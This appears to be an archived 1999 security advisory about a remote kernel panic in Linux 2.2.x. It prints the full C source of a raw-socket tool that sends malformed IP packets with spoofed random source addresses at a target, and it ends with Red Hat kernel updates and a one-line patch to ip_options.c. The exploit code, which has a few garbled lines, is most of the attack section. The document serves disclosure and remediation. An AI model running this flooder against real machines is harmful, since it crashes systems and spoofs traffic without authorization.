COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.2.x

PROBLEM

    Piotr Wilkin found following.  Its not icmp however - in fact  the
    program given below has some bugs that cause it (if it had been  a
    correctly written icmp  tester it wouldnt  have worked).   Anyway,
    you get panic on your system.   Here is the program source  (under
    Linux):

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>

    struct icmp_hdr
    {
	struct iphdr iph;
	struct icmp icp;
	char text[1002];
    } icmph;

    int in_cksum(int *ptr, int nbytes)
    {
	long sum;
	u_short oddbyte, answer;
	sum = 0;
	while (nbytes > 1)
	{
	    sum += *ptr++;
	    nbytes -= 2;
	}
	if (nbytes == 1)
	{
	    oddbyte = 0;
	    *((u_char *)&oddbyte) = *(u_char *)ptr;
	    sum += oddbyte;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return(answer);
    }

    struct sockaddr_in sock_open(char *address, int socket, int prt)
    {
	    struct hostent *host;
	    if ((host = gethostbyname(address)) == NULL)
	    {
		    perror("Unable to get host name");
		    exit(-1);
	    }
	    struct sockaddr_in sin;
	    bzero((char *)&sin, sizeof(sin));
	    sin.sin_family = PF_INET;
	    sin.sin_port = htons(prt);
	    bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
	    return(sin);
    }

    void main(int argc, char **argv)
    {
	    int sock, i, ctr, k;
	    int on = 1;
	    struct sockaddr_in addrs;
	    if (argc < 3)
	    {
		    printf("Usage: %s <ip_addr> <port>\n", argv[0]);
		    exit(-1);
	    }
	    for (i = 0; i < 1002; i++)
	    {
		icmph.text[i] = random() % 255;
	    }
	    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
	    {
		perror("Can't set IP_HDRINCL option on socket");
	    }
	    if (sock < 0)
	    {
		exit(-1);
	    }
	    fflush(stdout);
	    for (ctr = 0;ctr < 1001;ctr++)
	    {
		ctr = ctr % 1000;
		addrs = sock_open(argv[1], sock, atoi(argv[2]));
		icmph.iph.version = 4;
		icmph.iph.ihl = 6;
		icmp h.iph.tot_len = 1024;
		icmph.iph.id = htons(0x001);
		icmp h.iph.ttl = 255;
		icmph.iph.protocol = IPPROTO_ICMP;
		icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
		((random() % 255) * 65535) +
		((random() % 255) * 255) +
		(random() % 255);
		icmph.iph.daddr = addrs.sin_addr.s_addr;
		icmph.iph.frag_off = htons(0);
		icmph.icp.icmp_type = random() % 14;
		icmph.icp.icmp_code = random() % 10;
		icmph.icp.icmp_cksum = 0;
		icmph.icp.icmp_id = 2650;
		icmph.icp.icmp_seq = random() % 255;
		icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
		if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1)
		{
		    if (errno != ENOBUFS) printf("X");
		}
		if (ctr == 0) printf("b00m ");
		fflush(stdout);
	    }
	    close(sock);
    }

    This code is very machine-specific.  It was compiled by

        g++ -- g++ exploit.cpp -o exploit

SOLUTION

    New  packages  that  correct  a  vulnerability in the kernels that
    shipped with Red Hat Linux 6.0 are now available.  When  exploited
    this vulnerability allows remote  users to crash machines  running
    2.2.x kernels.

        rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i386.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i586.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i586.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i686.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i686.rpm

        rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-2.2.5-22.alpha.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-smp-2.2.5-22.alpha.rpm

        rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc64.rpm
        rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc64.rpm

        rpm -Uvh ftp://updates.redhat.com/6.0/SRPMS/kernel-2.2.5-22.src.rpm

    The fix seems to be this:

    --- ../linux.vanilla/net/ipv4/ip_options.c      Wed May 12 16:49:38 1999
    +++ net/ipv4/ip_options.c       Tue Jun  1 22:11:46 1999
    @@ -452,7 +452,6 @@
     error:
	    if (skb) {
		    icmp_send(skb, ICMP_PARAMETERPROB, 0, htonl((pp_ptr-iph)<<24));
    -               kfree_skb(skb);
	    }
	    return -EINVAL;
     }